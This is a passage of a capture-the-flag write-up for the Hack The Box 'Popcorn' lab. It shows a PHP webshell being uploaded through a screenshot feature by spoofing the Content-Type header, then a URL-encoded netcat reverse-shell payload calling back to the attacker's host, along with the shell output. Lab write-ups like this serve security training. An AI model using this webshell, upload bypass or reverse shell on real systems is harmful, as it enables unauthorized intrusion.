Arbitrary File Upload
During the enumeration earlier, I found out that I was initially able to upload a torrent file to host it on the webserver.
Only little did I know there was another feature to upload an image file as screenshot of the uploaded torrent file.
I suspect that it may be vulnerable to arbitrary file upload, but I would first need to figure out the security parameters, such as restriction on file type, MiME type, size limit, and content filtering.
┌──(kali㉿kali)-[~/archive/htb/labs/popcorn]
└─$ cat webshell.php
<?php system($_GET['cmd']); ?>
I first created a very simple PHP webshell to upload as a screenshot
Then I submit the PHP webshell.
I don’t think this will work out as it literally says that only
jpg
, jpeg
, gif
, png
are allowed with a max size cap of 100kb
As expected, the web server throws an error that the file is invalid
Obviously, there is a filter present, being applied to this feature
The problem is that I don’t know what kind of filter it is. It could be on frontend or backend and could be multiple or both, in which case I will have to test them all out
Extension Filter
┌──(kali㉿kali)-[~/archive/htb/labs/popcorn]
└─$ mv webshell.php webshell.php.gif
I was able to bypass the extension filter by changing the extension to
.php.gif
As the extension ends with .gif
, the web server also automatically recognized the Content-Type as image/gif
Upon refreshing, I can see that the screenshot has been changed.
By right-clicking the image and opening it in a new tab
Renaming Scheme
I was able to see where the screenshot files are uploaded to
It’s at the
/torrent/upload/
directory
The uploaded file, webshell.php.gif
, is also re-named to 19a6fcfcba6cc2c6d371eb754074d095adb5d291.gif
This isn’t going to work out as there is no way to execute the PHP payload inside the file Only way that I could think of to execute the PHP payload is by having LFI include this file in the parameter.
But I haven’t found any LFI within this web app. It’s going to be such a hassle to find one, and not even guaranteed
It Was Only The Content-Type Filter
I remember earlier in the confirmation popup, it specified the type
The webserver might be only checking for Content-Type, rather than the whole extension.
I will test this out
┌──(kali㉿kali)-[~/archive/htb/labs/popcorn]
└─$ mv webshell.php.gif webshell.php
I changed the extension back to .php
Then I also changed the value of Content-Type parameter to image/gif through Burp Suite
I then submitted it
To my surprise, the webserver accepted it.
It confirms the theory that there is no extension filter but only the Content-Type filter in the frontend
There is no MIME, or content filter in the backend
┌──(kali㉿kali)-[~/archive/htb/labs/popcorn]
└─$ curl -s http://$IP/torrent/upload/19a6fcfcba6cc2c6d371eb754074d095adb5d291.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Code execution is confirmed!
Let’s get a foothold
┌──(kali㉿kali)-[~/archive/htb/labs/popcorn]
└─$ curl -s http://$IP/torrent/upload/19a6fcfcba6cc2c6d371eb754074d095adb5d291.php?cmd=mkfifo%20%2Ftmp%2Fyqths%3B%20nc%2010.10.14.5%209999%200%3C%2Ftmp%2Fyqths%20%7C%20%2Fbin%2Fsh%20%3E%2Ftmp%2Fyqths%202%3E%261%3B%20rm%20%2Ftmp%2Fyqths
Sending the URL encoded payload
┌──(kali㉿kali)-[~/archive/htb/labs/popcorn]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.6] 42358
whoami
www-data
hostname
popcorn
ifconfig
/bin/sh: ifconfig: not found
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:50:56:b9:f3:bb brd ff:ff:ff:ff:ff:ff
inet 10.10.10.6/24 brd 10.10.10.255 scope global eth0
inet6 dead:beef::250:56ff:feb9:f3bb/64 scope global dynamic
valid_lft 86395sec preferred_lft 14395sec
inet6 fe80::250:56ff:feb9:f3bb/64 scope link
valid_lft forever preferred_lft forever
Initial Foothold established to the target system as the www-data
user via arbitrary file upload to RCE